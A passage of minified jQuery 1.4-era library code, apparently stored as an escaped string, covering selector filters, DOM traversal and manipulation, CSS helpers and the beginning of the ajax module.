g},PSEUDO:function(g,h,l,m,q){if(g[1]===\"not\")if((f.exec(g[3])||\"\").length>1||/^\\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m,g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!==\"hidden\"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\\d/i.test(g.nodeName)},text:function(g){return\"text\"===g.type},radio:function(g){return\"radio\"===g.type},checkbox:function(g){return\"checkbox\"===g.type},file:function(g){return\"file\"===g.type},password:function(g){return\"password\"===g.type},submit:function(g){return\"submit\"===g.type},image:function(g){return\"image\"===g.type},reset:function(g){return\"reset\"===g.type},button:function(g){return\"button\"===g.type||g.nodeName.toLowerCase()===\"button\"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return h<l[3]-0},gt:function(g,h,l){return h>l[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q===\"contains\")return(g.textContent||g.innerText||a([g])||\"\").indexOf(h[3])>=0;else if(q===\"not\"){h=h[3];l=0;for(m=h.length;l<m;l++)if(h[l]===g)return false;return true}else k.error(\"Syntax error, unrecognized expression: \"+q)},CHILD:function(g,h){var l=h[1],m=g;switch(l){case\"only\":case\"first\":for(;m=m.previousSibling;)if(m.nodeType===1)return false;if(l===\"first\")return true;m=g;case\"last\":for(;m=m.nextSibling;)if(m.nodeType===1)return false;return true;case\"nth\":l=h[2];var q=h[3];if(l===1&&q===0)return true;h=h[0];var p=g.parentNode;if(p&&(p.sizcache!==h||!g.nodeIndex)){var v=0;for(m=p.firstChild;m;m=m.nextSibling)if(m.nodeType===1)m.nodeIndex=++v;p.sizcache=h}g=g.nodeIndex-q;return l===0?g===0:g%l===0&&g/l>=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute(\"id\")===h},TAG:function(g,h){return h===\"*\"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(\" \"+(g.className||g.getAttribute(\"class\"))+\" \").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+\"\";var m=h[2];h=h[4];return g==null?m===\"!=\":m===\"=\"?l===h:m===\"*=\"?l.indexOf(h)>=0:m===\"~=\"?(\" \"+l+\" \").indexOf(h)>=0:!h?l&&g!==false:m===\"!=\"?l!==h:m===\"^=\"?l.indexOf(h)===0:m===\"$=\"?l.substr(l.length-h.length)===h:m===\"|=\"?l===h||l.substr(0,h.length+1)===h+\"-\":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+n.match[u].source.replace(/\\\\(\\d+)/g,function(g,h){return\"\\\\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)===\"[object Array]\")Array.prototype.push.apply(h,g);else if(typeof g.length===\"number\")for(var l=0,m=g.length;l<m;l++)h.push(g[l]);else for(l=0;g[l];l++)h.push(g[l]);return h}}var B;if(s.documentElement.compareDocumentPosition)B=function(g,h){if(!g.compareDocumentPosition||!h.compareDocumentPosition){if(g==h)i=true;return g.compareDocumentPosition?-1:1}g=g.compareDocumentPosition(h)&4?-1:g===h?0:1;if(g===0)i=true;return g};else if(\"sourceIndex\"in s.documentElement)B=function(g,h){if(!g.sourceIndex||!h.sourceIndex){if(g==h)i=true;return g.sourceIndex?-1:1}g=g.sourceIndex-h.sourceIndex;if(g===0)i=true;return g};else if(s.createRange)B=function(g,h){if(!g.ownerDocument||!h.ownerDocument){if(g==h)i=true;return g.ownerDocument?-1:1}var l=g.ownerDocument.createRange(),m=h.ownerDocument.createRange();l.setStart(g,0);l.setEnd(g,0);m.setStart(h,0);m.setEnd(h,0);g=l.compareBoundaryPoints(Range.START_TO_END,m);if(g===0)i=true;return g};(function(){var g=s.createElement(\"div\"),h=\"script\"+(new Date).getTime();g.innerHTML=\"<a name='\"+h+\"'/>\";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!==\"undefined\"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!==\"undefined\"&&q.getAttributeNode(\"id\").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!==\"undefined\"&&m.getAttributeNode(\"id\");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement(\"div\");g.appendChild(s.createComment(\"\"));if(g.getElementsByTagName(\"*\").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]===\"*\"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML=\"<a href='#'></a>\";if(g.firstChild&&typeof g.firstChild.getAttribute!==\"undefined\"&&g.firstChild.getAttribute(\"href\")!==\"#\")n.attrHandle.href=function(h){return h.getAttribute(\"href\",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement(\"div\");h.innerHTML=\"<p class='TEST'></p>\";if(!(h.querySelectorAll&&h.querySelectorAll(\".TEST\").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}();(function(){var g=s.createElement(\"div\");g.innerHTML=\"<div class='test e'></div><div class='test'></div>\";if(!(!g.getElementsByClassName||g.getElementsByClassName(\"e\").length===0)){g.lastChild.className=\"e\";if(g.getElementsByClassName(\"e\").length!==1){n.order.splice(1,0,\"CLASS\");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!==\"undefined\"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}:function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!==\"HTML\":false},ga=function(g,h){var l=[],m=\"\",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,\"\")}g=n.relative[g]?g+\"*\":g;q=0;for(var p=h.length;q<p;q++)k(g,h[q],l);return k.filter(m,l)};c.find=k;c.expr=k.selectors;c.expr[\":\"]=c.expr.filters;c.unique=k.uniqueSort;c.text=a;c.isXMLDoc=x;c.contains=E})();var eb=/Until$/,fb=/^(?:parents|prevUntil|prevAll)/,gb=/,/;R=Array.prototype.slice;var Ia=function(a,b,d){if(c.isFunction(b))return c.grep(a,function(e,j){return!!b.call(e,j,e)===d});else if(b.nodeType)return c.grep(a,function(e){return e===b===d});else if(typeof b===\"string\"){var f=c.grep(a,function(e){return e.nodeType===1});if(Ua.test(b))return c.filter(b,f,!d);else b=c.filter(b,f)}return c.grep(a,function(e){return c.inArray(e,b)>=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack(\"\",\"find\",a),d=0,f=0,e=this.length;f<e;f++){d=b.length;c.find(a,this[f],b);if(f>0)for(var j=d;j<b.length;j++)for(var i=0;i<d;i++)if(b[i]===b[j]){b.splice(j--,1);break}}return b},has:function(a){var b=c(a);return this.filter(function(){for(var d=0,f=b.length;d<f;d++)if(c.contains(this,b[d]))return true})},not:function(a){return this.pushStack(Ia(this,a,false),\"not\",a)},filter:function(a){return this.pushStack(Ia(this,a,true),\"filter\",a)},is:function(a){return!!a&&c.filter(a,this).length>0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j={},i;if(f&&a.length){e=0;for(var o=a.length;e<o;e++){i=a[e];j[i]||(j[i]=c.expr.match.POS.test(i)?c(i,b||this.context):i)}for(;f&&f.ownerDocument&&f!==b;){for(i in j){e=j[i];if(e.jquery?e.index(f)>-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a===\"string\")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a===\"string\"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,\"parentNode\")},parentsUntil:function(a,b,d){return c.dir(a,\"parentNode\",d)},next:function(a){return c.nth(a,2,\"nextSibling\")},prev:function(a){return c.nth(a,2,\"previousSibling\")},nextAll:function(a){return c.dir(a,\"nextSibling\")},prevAll:function(a){return c.dir(a,\"previousSibling\")},nextUntil:function(a,b,d){return c.dir(a,\"nextSibling\",d)},prevUntil:function(a,b,d){return c.dir(a,\"previousSibling\",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f===\"string\")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(\",\"))}});c.extend({filter:function(a,b,d){if(d)a=\":not(\"+a+\")\";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType===1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\\d+=\"(?:\\d+|null)\"/g,V=/^\\s+/,Ka=/(<([\\w:]+)[^>]*?)\\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\\w:]+)/,ib=/<tbody/i,jb=/<|&#?\\w+;/,ta=/<script|<object|<embed|<option|<style/i,ua=/checked\\s*(?:[^=]|=\\s*.checked.)/i,Ma=function(a,b,d){return hb.test(d)?a:b+\"></\"+d+\">\"},F={option:[1,\"<select multiple='multiple'>\",\"</select>\"],legend:[1,\"<fieldset>\",\"</fieldset>\"],thead:[1,\"<table>\",\"</table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],col:[2,\"<table><tbody></tbody><colgroup>\",\"</colgroup></table>\"],area:[1,\"<map>\",\"</map>\"],_default:[0,\"\",\"\"]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,\"div<div>\",\"</div>\"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!==\"object\"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,\"body\")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName(\"*\"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName(\"*\"));b.firstChild;)b.removeChild(b.firstChild);return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement(\"div\");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,\"\").replace(/=([^=\"'>\\s]+\\/)>/g,'=\"$1\">').replace(V,\"\")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find(\"*\"),b.find(\"*\"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja,\"\"):null;else if(typeof a===\"string\"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName(\"*\"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var j=c(this),i=j.html();j.empty().append(function(){return a.call(this,e,i)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,b,f))});if(typeof a!==\"string\")a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),\"replaceWith\",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(u){return c.nodeName(u,\"table\")?u.getElementsByTagName(\"tbody\")[0]||u.appendChild(u.ownerDocument.createElement(\"tbody\")):u}var e,j,i=a[0],o=[],k;if(!c.support.checkClone&&arguments.length===3&&typeof i===\"string\"&&ua.test(i))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(i))return this.each(function(u){var z=c(this);a[0]=i.call(this,u,b?z.html():w);z.domManip(a,b,d)});if(this[0]){e=i&&i.parentNode;e=c.support.parentNode&&e&&e.nodeType===11&&e.childNodes.length===this.length?{fragment:e}:sa(a,this,o);k=e.fragment;if(j=k.childNodes.length===1?(k=k.firstChild):k.firstChild){b=b&&c.nodeName(j,\"tr\");for(var n=0,r=this.length;n<r;n++)d.call(b?f(this[n],j):this[n],n>0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]);return this}else{e=0;for(var j=d.length;e<j;e++){var i=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement===\"undefined\")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i===\"number\")i+=\"\";if(i){if(typeof i===\"string\"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i===\"string\"){i=i.replace(Ka,Ma);var o=(La.exec(i)||[\"\",\"\"])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement(\"div\");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o===\"table\"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]===\"<table>\"&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],\"tbody\")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e=c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],\"script\")&&(!e[j].type||e[j].type.toLowerCase()===\"text/javascript\"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName(\"script\"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]?c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\\([^)]*\\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\\d+(?:px)?$/i,nb=/^-?\\d/,ob={position:\"absolute\",visibility:\"hidden\",display:\"block\"},pb=[\"Left\",\"Right\"],qb=[\"Top\",\"Bottom\"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?\"cssFloat\":\"styleFloat\",ja=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e===\"number\"&&!kb.test(f))e+=\"px\";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b===\"width\"||b===\"height\")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b===\"opacity\"){if(e){f.zoom=1;b=parseInt(d,10)+\"\"===\"NaN\"?\"\":\"alpha(opacity=\"+d*100+\")\";a=f.filter||c.curCSS(a,\"filter\")||\"\";f.filter=Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf(\"opacity=\")>=0?parseFloat(Oa.exec(f.filter)[1])/100+\"\":\"\"}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b===\"width\"||b===\"height\"){var e,j=b===\"width\"?pb:qb;function i(){e=b===\"width\"?a.offsetWidth:a.offsetHeight;f!==\"border\"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,\"padding\"+this,true))||0);if(f===\"margin\")e+=parseFloat(c.curCSS(a,\"margin\"+this,true))||0;else e-=parseFloat(c.curCSS(a,\"border\"+this+\"Width\",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b===\"opacity\"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||\"\")?parseFloat(RegExp.$1)/100+\"\":\"\";return f===\"\"?\"1\":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b=\"float\";b=b.replace(lb,\"-$1\").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b===\"opacity\"&&f===\"\")f=\"1\"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d===\"fontSize\"?\"1em\":f||0;f=e.pixelLeft+\"px\";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()===\"tr\";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,\"display\")===\"none\"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=/<script(.|\\s)*?\\/script>/gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\\?(&|$)/,ka=/\\?/,wb=/(\\?|&)_=.*?(&|$)/,xb=/^(\\w+:)?\\/\\/([^\\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!==\"string\")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(\" \");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f=\"GET\";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b===\"object\"){b=c.param(b,c.ajaxSettings.traditional);f=\"POST\"}var j=this;c.ajax({url:a,type:f,dataType:\"html\",data:b,complete:function(i,o){if(o===\"success\"||o===\"notmodified\")j.html(e?c(\"<div />\").append(i.responseText.replace(tb,\"\")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:\"GET\",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,\"script\")},getJSON:function(a,b,d){return c.get(a,b,d,\"json\")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:\"POST\",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:\"GET\",contentType:\"application/x-www-form-urlencoded\",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!==\"file:\"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(a){}},accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",script:\"text/javascript, application/javascript\",json:\"application/json, text/javascript\",text:\"text/plain\",_default:\"*/*\"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(k,o,i,x);e.global&&f(\"ajaxSuccess\",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f(\"ajaxComplete\",[x,e]);e.global&&!--c.active&&c.event.trigger(\"ajaxStop\")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!==\"string\")e.data=c.param(e.data,e.traditional);if(e.dataType===\"jsonp\"){if(n===\"GET\")N.test(e.url)||(e.url+=(ka.test(e.url)?\"&\":\"?\")+(e.jsonp||\"callback\")+\"=?\");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+\"&\":\"\")+(e.jsonp||\"callback\")+\"=?\";e.dataType=\"json\"}if(e.dataType===\"json\"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||\"jsonp\"+sb++;if(e.data)e.data=(e.data+\"\").replace(N,\"=\"+j+\"$1\");e.url=e.url.replace(N,\"=\"+j+\"$1\");e.dataType=\"script\";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType===\"script\"&&e.cache===null)e.cache=false;if(e.cache===false&&n===\"GET\"){var r=J(),u=e.url.replace(wb,\"$1_=\"+r+\"$2\");e.url=u+(u===e.url?(ka.test(e.url)?\"&\":\"?\")+\"_=\"+r:\"\")}if(e.data&&n===\"GET\")e.url+=(ka.test(e.url)?\"&\":\"?\")+e.data;e.global&&!c.active++&&c.event.trigger(\"ajaxStart\");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType===\"script\"&&n===\"GET\"&&r){var z=s.getElementsByTagName(\"head\")[0]||s.documentElement,C=s.createElement(\"script\");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B=false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState===\"loaded\"||this.readyState===\"complete\")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader(\"Content-Type\",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader(\"If-Modified-Since\",c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader(\"If-None-Match\",c.etag[e.url])}r||x.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\");x.setRequestHeader(\"Accept\",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+\", */*\":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger(\"ajaxStop\");x.abort();return false}e.global&&f(\"ajaxSend\",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q===\"abort\"){E||d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q===\"timeout\")){E=true;x.onreadystatechange=c.noop;i=q===\"timeout\"?\"timeout\":!c.httpSuccess(x)?\"error\":e.ifModified&&c.httpNotModified(x,e.url)?\"notmodified\":\"success\";var p;if(i===\"success\")try{o=c.httpData(x,e.dataType,e)}catch(v){i=\"parsererror\";p=v}if(i===\"success\"||i===\"notmodified\")j||b();else c.handleError(e,x,i,p);d();q===\"timeout\"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x);g(\"abort\")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g(\"timeout\")},e.timeout);try{x.send(n===\"POST\"||n===\"PUT\"||n===\"DELETE\"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger(\"ajaxError\",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol===\"file:\"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader(\"Last-Modified\"),f=a.getResponseHeader(\"Etag\");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader(\"content-type\")||\"\",e=b===\"xml\"||!b&&f.indexOf(\"xml\")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName===\"parsererror\"&&c.error(\"parsererror\");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a===\"string\")if(b===\"json\"||!b&&f.indexOf(\"json\")>=0)a=c.parseJSON(a);else if(b===\"script\"||!b&&f.indexOf(\"javascript\")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\\[\\]$/.test(i)?f(i,n):d(i+\"[\"+(typeof n===\"object\"||c.isArray(n)?k:\"\")+\"]\",n)});else!b&&o!=null&&typeof 